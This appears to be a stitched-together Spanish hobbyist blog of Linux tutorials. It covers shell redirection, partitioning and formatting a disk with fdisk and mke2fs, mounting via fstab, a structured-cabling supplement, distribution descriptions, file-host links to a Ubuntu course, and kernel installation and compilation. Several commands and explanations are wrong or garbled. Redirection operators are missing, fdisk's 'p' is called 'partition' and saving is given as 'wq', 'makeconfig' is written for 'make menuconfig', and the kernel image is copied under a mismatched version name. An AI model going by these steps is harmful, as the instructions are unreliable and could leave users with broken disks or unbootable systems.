2) Ahora si queremos entrar a un directorio que no existe como en el siguiente ejemplo no mostrara el mensaje de error
*REDIRECCIONAMIENTO STDOUT, STDERR

1)Enviando salidas STDOUT, STDERR a los archivos "archi1" y "archi2"

#ls /var 1>archi1.txt 2>archi2.txt : Lo que estamos haciendo con este comando es redireccionar la salida (1) al archivo "archi1" y el mensaje de error (2) al archivo "archi2"

*REDIRECCIONAMIENTO STDIN

1)Generamos un archivo

#vi mochila.txt
pequeña
mediana
grande

2)Entrada STDIN recibira la informacion de un archivo

#sort mochila.txt
pequeña

mediana
grande3)Redireccionando la entrada STDIN y la salida STDOUT

#sort maleta.txt : Lo que estoy haciendo ahora estoy redireccionando la entra (>) al archivo "maleta.txt" y la salida al archivo "mochila.txt" osea si vemos los archivos maleta.txt=mochila.txt (en contenido)


*REDIRECCIONAMIENTO NO DESTRUCTIVO


1)Redireccionamiento "date" al archivo tiempo.txt

#date >>tiempo.txt
#cat >>tiempo.txt

Ahora volvamos a ejecutar

#date >>tiempo.txt
#cat >>tiempo.txt

y nos mostrata el dia, el mes, la hora y el año

FORMATEAR UN DISCO DURO

FORMATEAR


1)En el terminal ponemos el comando para formtear "mke2fs -j /dev/hdb1" donde el hdb1 es el nombre que como ya explique anteriormente se generara proque es otro disco duro por esa razon es "b" y es "1" porque solo tiene una particion




MONTAR FORMATEAR Y PARTICIONAR DISCOS

Ahora vamos a montar y desmontar discos duros

**primero montaremos un disco duro suponiendo que ya lo insertamos pero aun no esta particinado ni formateado ni nada de nada lo que vamos hacer es montarlo bueno comenzarecon un pantallazo donde nos muestra las particione sy explicare algunos detalles :

-Con el comando fdisk -l nos muestra las particiones, los tipos de sistemas de archivos ( linux,linux swap)

-El comando df nos muestra la estructura de disco el uso y los puntos de montaje (/,/boot,/dev/shm )

-Ahora con revisando el archivo "fstab"donde se registran las caracteristicas de montaje de los dispositivos de almacenamiento

-Comenzare a explicar la segunda columna nos indica los puntos de montaje (/boot,/,etc)

_La tercera columna nos muestra el tipo de sistemas de archivo

_la ultima columna donde estan los numeros 1,2,0 ; ç

.El numero 1 quiere decir que chequeara (scandisk) al cargar el S.O se recomienda la raiz "/" el "/boot"

.El numero 2 quiere decir que es la siguiente particion en chequear

.El numero 0 (cero) quiere decir que no chequeara


-PARTICIONAR EL DISCO

1)Es muy importante saber que si tenemos disco Ide o Zata en mi caso yo tengo disco zata porque si se dan cuenta en la imagen anterior con el comando df me muestra mis particiones de disco hda1,hda2,hda3 porque mis disco duro es Ide

en conclusion :

-Disco Duros Ide =hda1,hda2,hdb1,hdb2,hdc1,hdc2,etc .El a,b yc quiere decir que son 3 discos duros y el 1,2 quiere decir que cada disco tiene 2 particiones

-Disco Duros Zata =sd,sd,etc

-El primer recuadro marcado con azul quiere decir que el disco duro a sido reconocido

-El segundo recuadro de azul es un camando para particionar el disco duro cone le comando fdisk /dev/hdb1

-Y el tercer recuadro nos indica que hacer si ponemos la letra "m"nos saldra varias opciones, pero como nosotros ya somos diestros xD!!

2)Ponemos la letra "p" que significa que queremos particonar :)

3)Luego la letra "n" que sirve para seleccionar y particionar

4)Luego elegimos el tipo de particion en mi caso eligire primaria osea escribo "p"

5)Luego elegimos el numero de particiones en mi caso "1"

6)Luego nos pedira el numero de cilindros eso lo dejamos por defecto y

7)Y en la ultima opcion como en mi caso es solo una particion solo dare pero si ustedes pusieron 2 particones deberan poner el tamaño de la particion por ejemplo si quieren que su primera particion sea de 100 mb tienen que poner "+100MB" y

8)Ahora ponemos la letra "p"para verificar la particion que ha generado

9)Y por ultimo guardamos los cambios escribiendo "wq"

*FORMATEAR

1)En el terminal ponemos el comando para formtear "mke2fs -j /dev/hdb1" donde el hdb1 es el nombre que como ya explique anteriormente se generara proque es otro disco duro por esa razon es "b" y es "1" porque solo tiene una particion

*INCORPORANDO AL SISTEMA DE ARCHIVOS (MANUAL)

1)Creamos un directorio yo le pondre de nombre "junchaya"; si se olvidaron para cerar un directorio se uns ael comando "mkdir" entonces sera

#mkdir /junchaya

2)Luego realizamos la integridad

#mount -t ext3 /dev/hdb1 /junchaya

3)Reiniciamos init 6 y cuando volvamos a poner el comando df ya no veremos el nuevo disco montado.Para esto hay otra manera de montar un disco duro permanentemente :)

*INCORPORANDO AL SISTEMA DE ARCHIVOS (AUTOMATICO)

1)Etiquetando la particion

Con el comando e2label /dev/hdb1 /junchaya

2)Lo registramos en el archivo fstab. Quedando de la siguiente manera (por si acaso estoy en modo consola)

3) reiniciamos y comprobamos si es que ya quedo montado permanentemente con el comando df

4)Listo Montamos un disco duro en Linux :) ...Que alegria :D


*DESMONTAR

1)Verificamos primero que nuestro nuevo disco duro este montado; con el comando df

2)Ahora procedemos a desmontarlo; con el comnado umount en mi caso es umount /dev/hdb1

3)Verificamos que esta desmontado.

CABLEADO ESTRUCTURADO

Cableado Estructurado Cisco Pdf

Suplemento sobre cableado estructurado

El Suplemento sobre Cableado Estructurado para el CCNA ofrece material
de currículum y prácticas de laboratorio en siete áreas:
a. Sistemas de cableado estructurado
b. Códigos y estándares de cableado estructurado
c. Seguridad
d. Herramientas de la profesión
e. Proceso de instalación
f. Etapa de finalización
g. Actividad del cableado
Este material y las prácticas de laboratorio asociadas proporcionan una
introducción general a la instalación de cableado estructurado.
La sección sobre Sistemas de Cableado Estructurado trata las reglas y
subsistemas de cableado estructurado en una red de área local (LAN). Por
LAN (red de área local) se entiende un solo edificio o grupo de edificios en
un entorno de campus que se encuentran muy cercanos uno del otro, por lo
general dentro de un área de dos kilómetros cuadrados o una milla cuadrada.
Este suplemento comienza explicando el punto de demarcación, luego se
refiere a las diversas salas de equipamiento, y continúa con el área de
trabajo. También trata el tema de la escalabilidad.
Los objetivos de aprendizaje sobre los Sistemas de Cableado Estructurado
son los siguientes:
1.1 Reglas para Cableado Estructurado de LAN.
1.2 Subsistemas de Cableado Estructurado
1.3 Escalabilidad
1.4 Punto de demarcación
1.5 Salas de equipamiento y de telecomunicaciones
1.6 Áreas de Trabajo
1.7 MC, IC y HC

Descargar de Rapidshare

DISTRIBUCIONES IMPORTANTES

Una distribución no es otra cosa, que una recopilación de programas y ficheros, organizados y preparados para su instalación. Estas distribuciones se pueden obtener a traves de Internet, o comprando los CDs de las mismas, los cuales contendrán todo lo necesario para instalar un sistema Linux bastante completo y en la mayoría de los casos un programa de instalación que nos ayudara en la tarea de una primera instalación. Casi todos los principales distribuidores de Linux, ofrecen la posibilidad de bajarse sus distribuciones, via FTP (sin cargo alguno).
Existen muchas y variadas distribuciones creadas por diferentes empresas y organizaciones a unos precios bastantes asequibles (si se compran los CDs, en vez de bajársela via FTP), las cuales deberiais poder encontrar en tiendas de informática, librerías. En el peor de los casos siempre podeis encargarlas directamente por Internet a las empresas y organizaciones que las crean. A veces, las revistas de informática sacan una edición bastante aceptable de alguna distribución.
A continuación podeis encontrar informacion sobre las distribuciones mas importantes de Linux (aunque no las unicas).

REDHAT ENTERPRISE
Esta es una distribucion que tiene muy buena calidad, contenidos y soporte a los usuarios por parte de la empresa que la distribuye. Es necesario el pago de una licencia de soporte. Enfocada a empresas.
de Red Hat : http://www.redhat.com/

FEDORA
Esta es una distribucion patrocinada por RedHat y soportada por la comunidad. Facil de instalar y buena calidad.
de Fedora :http://fedoraproject.org/

DEBIAN
Otra distribucion con muy buena calidad. El proceso de instalacion es quizas un poco mas complicado, pero sin mayores problemas. Gran estabilidad antes que ultimos avances.
de Debian: http://www.es.debian.org/

OpenSuSE
Otra de las grandes. Facil de instalar. Version libre de la distribucion comercial SuSE.
de OpenSuSE :http://www.opensuse.org/

SuSE LINUX ENTERPRISE
Otra de las grandes. Muy buena calidad, contenidos y soporte a los usuarios por parte de la empresa que la distribuye, Novell. Es necesario el pago de una licencia de soporte. Enfocada a empresas.
de SuSE Linux Enterprise :http://www.suse.com/

SLACKWARE
Esta distribucion es de las primeras que existio. Tuvo un periodo en el cual no se actualizo muy a menudo, pero eso es historia. Es raro encontrar usuarios de los que empezaron en el mundo linux hace tiempo, que no hayan tenido esta distribucion instalada en su ordenador en algun momento.
de Slackware :http://www.slackware.com/

GENTOO
Esta distribucion es una de las unicas que han incorporado un concepto totalmente nuevo en Linux. Es una sistema inspirado en BSD-ports. Podeis compilar/optimizar vuestro sistema completamente desde cero. No es recomendable adentrarse en esta distribucion sin una buena conexion a internet, un ordenador medianamente potente (si quereis terminar de compilar en un tiempo prudencial) y cierta experiencia en sistemas Unix.
de Gentoo :http://www.gentoo.org/

UBUNTU
Distribucion basada en Debian, con lo que esto conlleva y centrada en el usuario final y facilidad de uso. Muy popular y con mucho soporte en la comunidad. El entorno de escritorio por defecto es GNOME.
de Ubuntu :http://www.ubuntu.com/

KUBUNTU
Distribucion basada en Ubuntu, con lo que esto conlleva y centrada en el usuario final y facilidad de uso. La gran diferencia con Ubuntu es que el entorno de escritorio por defecto es KDE.
de Kubuntu :http://www.kubuntu.org/

MANDRIVA
Esta distribucion fue creada en 1998 con el objetivo de acercar el uso de Linux a todos los usuarios, en un principio se llamo Mandrake Linux. Facilidad de uso para todos los usuarios.
de mandriva :http://www.mandrivalinux.org/

THE LINUX KERNEL ARCHIVES

Bienvenido al Linux Kernel Archives. Este es el sitio principal para las fuentes del núcleo Linux, pero tiene mucho más que los núcleos Linux Algunos lInk de dond epodran descargar el kernel de linux

http://www.kernel.org/pub/
ftp://ftp.kernel.org/pub/
http://www.eu.kernel.org/pub/
ftp://ftp.eu.kernel.org/pub/

The Linux Kernel Archives Mirror System Para mejorar el acceso para todos, una serie de sitios en todo el mundo han proporcionado los espejos de este sitio, que puede ser más rápida de usar que el archivo maestro de sí mismo. Por favor, consulte http://www.kernel.org/mirrors/ para obtener información acerca de cómo conectarse a un sitio espejo participantes. Para protegerse de sitios espejo de Troya, todos los archivos de origen en la Linux Kernel Archives son criptográficamente firmado. Si está recibiendo un mensaje de verificación que la clave ha caducado, por favor vea este enlace

CURSO DE UBUNTU EN ESPAÑOL

Un curso de Linux Ubuntu extraído de la revista "personal computer."

El curso se compone de 5 capitulos:

Capitulo 1

Que es Linux Ubuntu. Instalación. Ubuntu Live. Escritorio de Linux básico.

Capitulo 2

Configuración de red local. Internet. Configuración de cortafuegos. Redes windows (samba). Wireless.

Capitulo 3

Aplicaciones empaquetadas. Añadir y quitar aplicaciones. Gestor de paquetes synaptic. Gestión de paquetes mediante la línea de órdenes. Instalar un sólo archivo de paquete. Repositorios adicionales. Actualizaciones.

Capitulo 4

Consejos de Escritorio. Archivos. Particiones. Arranque. Kernel. Fecha y hora. Hardware. Impresoras.

Capitulo 5

Música. Video. Formatos restringidos: Códecs, Mp3, DVD... Aplicaciones multimedia. Edición de imágenes. Aceleración 3D. Juegos.


LINKS DE DESCARGA

Capítulo 1 =
Descargar de Rapidshare

Descargar de Megaupload

Capítulo 2 =
Descargar de Rapidshare

Descargar de Megaupload

Capítulo 3 =
Descargar de Rapidshare

Descargar de Megaupload

Capítulo 4 =
Descargar de Rapidshare

Descargar de Megaupload

Capítulo 5 =
Descargar de Rapidshare

Descargar de Megaupload

Todo en formato PDF, saludos!!

CREAR UN ARCHIVO PDF CON OPENOFFICE

Crear un pdf facilmente y rapidamente con la aplicación libre de Open Office, así también, se hace un repaso rapido a las herramientas de formatos de Open Office Writer. Casi media hora en 9 megas. Formato Flash.

Descarga Aqui :D

Fuente :www.illasaron.com

KERNEL

Huy ... por fin llegamos a una de los temas mas interesantes; bueno como sabran solo hare una pequeña defincion y como siempre nos iremos a la practica :D !!

El kernel es el corazon del sistema operativo es el ecargado de gestionar recursos a traves de servicios de llamada al sistema

Funciones Generalmente Ejercidas por un Nucleo

Los núcleos tienen como funciones básicas garantizar la carga y la ejecución de los procesos, las entradas/salidas y proponer un interfaz entre el espacio núcleo y los programas del espacio del usuario.
Aparte de las funcionalidades básicas, el conjunto de las funciones de los puntos siguientes (incluidos los pilotos materiales, las funciones de redes y sistemas de ficheros o los servicios) necesariamente no son proporcionados por un núcleo de sistema de explotación. Pueden establecerse estas funciones del sistema de explotación tanto en el espacio usuario como en el propio núcleo. Su implantación en el núcleo se hace en el único objetivo de mejorar los resultados. En efecto, según la concepción del núcleo, la misma función llamada desde el espacio usuario o el espacio núcleo tiene un coste temporal obviamente diferente. Si esta llamada de función es frecuente, puede resultar útil integrar estas funciones al núcleo para mejorar los resultados.
Hay que señalar que estas técnicas son utilizadas para atenuar defectos de los núcleos como los elevados estados. En la medida de lo posible, es preferible escribir un programa informático fuera del núcleo, en el espacio usuario. En efecto, el espacio del núcleo, supone la ausencia de mecanismos como la protección de la memoria. Es pues más complejo escribir un programa informático que funciona en el espacio del núcleo, que en el espacio usuario; los errores y faltas de seguridad pueden desestabilizar el sistema.



-uname -a : Nos da los datos con respecto al kernel

*Instalacion de Kernel RPM

-Escojemos y descargamos el kernel:


-luego por defecto la descarga esta en el Desktop y lo que vamos hacer es mover el paquete RPM a la ubicacion cd /usr/src Asi como vemos en la siguiente figura


-Luego reiniciamos y posiblemente (digo posible proque mayormente ocurre en una pc con muchos hardware que aun linux no ha podido reconocer) nos salga una ventanaita de deteccion de hardware asi como esta


y ahora veremos que ya estamos con el nuevo kernel : uname -a


como hemos visto el kernel ha cambiado :D .Listo ya sabemos instalar un nuevo kernel para neustro centos; ahora vien lo mas divertido complilacion de un kernel :)



*Compilacion de un Kernel


-Lo primero es descargar se el kernel de http://www.kernel.org/ ; pero lo descargamos en la siguiente ruta /usr/src/kernels/


-Luego lo que ya sabemos desconcatenar y descomprimir :) si se olvidaron no hay problema lo hacen de la siguienet manera escriben en consola tar zxvf por ejemplo en este caso puse tar zxvf linux-2.6.27.8.tar.gz

-ahora entramos al directorio que descomprimimos y desconcatenamos lalmado linux-2.6.27.8 cd linux-2.6.27.8

-Estando dentro del directorio linux-2.6.27.8 ya todo lo haremos desde el terminal ( consola )

-Escribimos makeconfig (para la configuracion del hardware) y les saldra una ventana de la siguiente manera :OJO ES NECESARIO PARA ESTRO QUE CONOSCAN BIEN SU HARDWARE


-Luego para no hacernos tantas bolas configuramos el microprocesador :selecionamos PROCESSOR TYPE AND...y luego PROCCCESOR FAMILY y le damos enter



y luego selecionamos el tipo de procesador que tenemos en mi caso es una core 2 duo entonces selecciono la siguiente opcion y luego



-Ahora entramos a DEVICE DRIVERS para configurar la tarjeta de red (OPCIONAL)

-Seleccionamos Network Device Support



-Todo esto es solo para verificar que AMD Pcnet se encunetra como modulo entonces no habria probelmas de coneccion hacia internet

-Estando en le menu Principal entramos a File Systems


-Ahora esto es mut importante el EXT3 journalling file system support no debe de estra como modulo debe de estra integrado <*> osea le tienen que quedar de la siguiente manera



-Una ves ya configurado todo su hardware le damos en y nos saldra una pantalla d ela siguiente manera y le damos en YES para poder guardar todos los cambios


-Ahora solamente escribimos en consola (estos procesos demorar asi que vayan por un cafesito :P)... y respeten las minusculas con las mayusculas

-make dep

-make clean

-make bzImage make modules ========>Modulos compiladores que tenian la opcion M

-make modules_install ========>Para instalar el nucleo o Kernel

-Y ahora armanos la nueva entrada al Kernel

#cd /ysr/src/kernels/linux-2.6.27.8

#cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.18-92.1.22.2l5


-Generando soporte de "File System"

#mkinitrd /boot/initrd-2.6.27.8.img 2.6.27.8


-Copia de System.map

#cp System.map /boot/System.map-2.6.27.8

-Configurando el Grub

-Finalmente reiniciamos y una ves este cargando el grub precionamos y seleccionbamos nuestro nuevo kernel en este caso es 2.6.27.8


y Listo :D!!


Estadisticas blog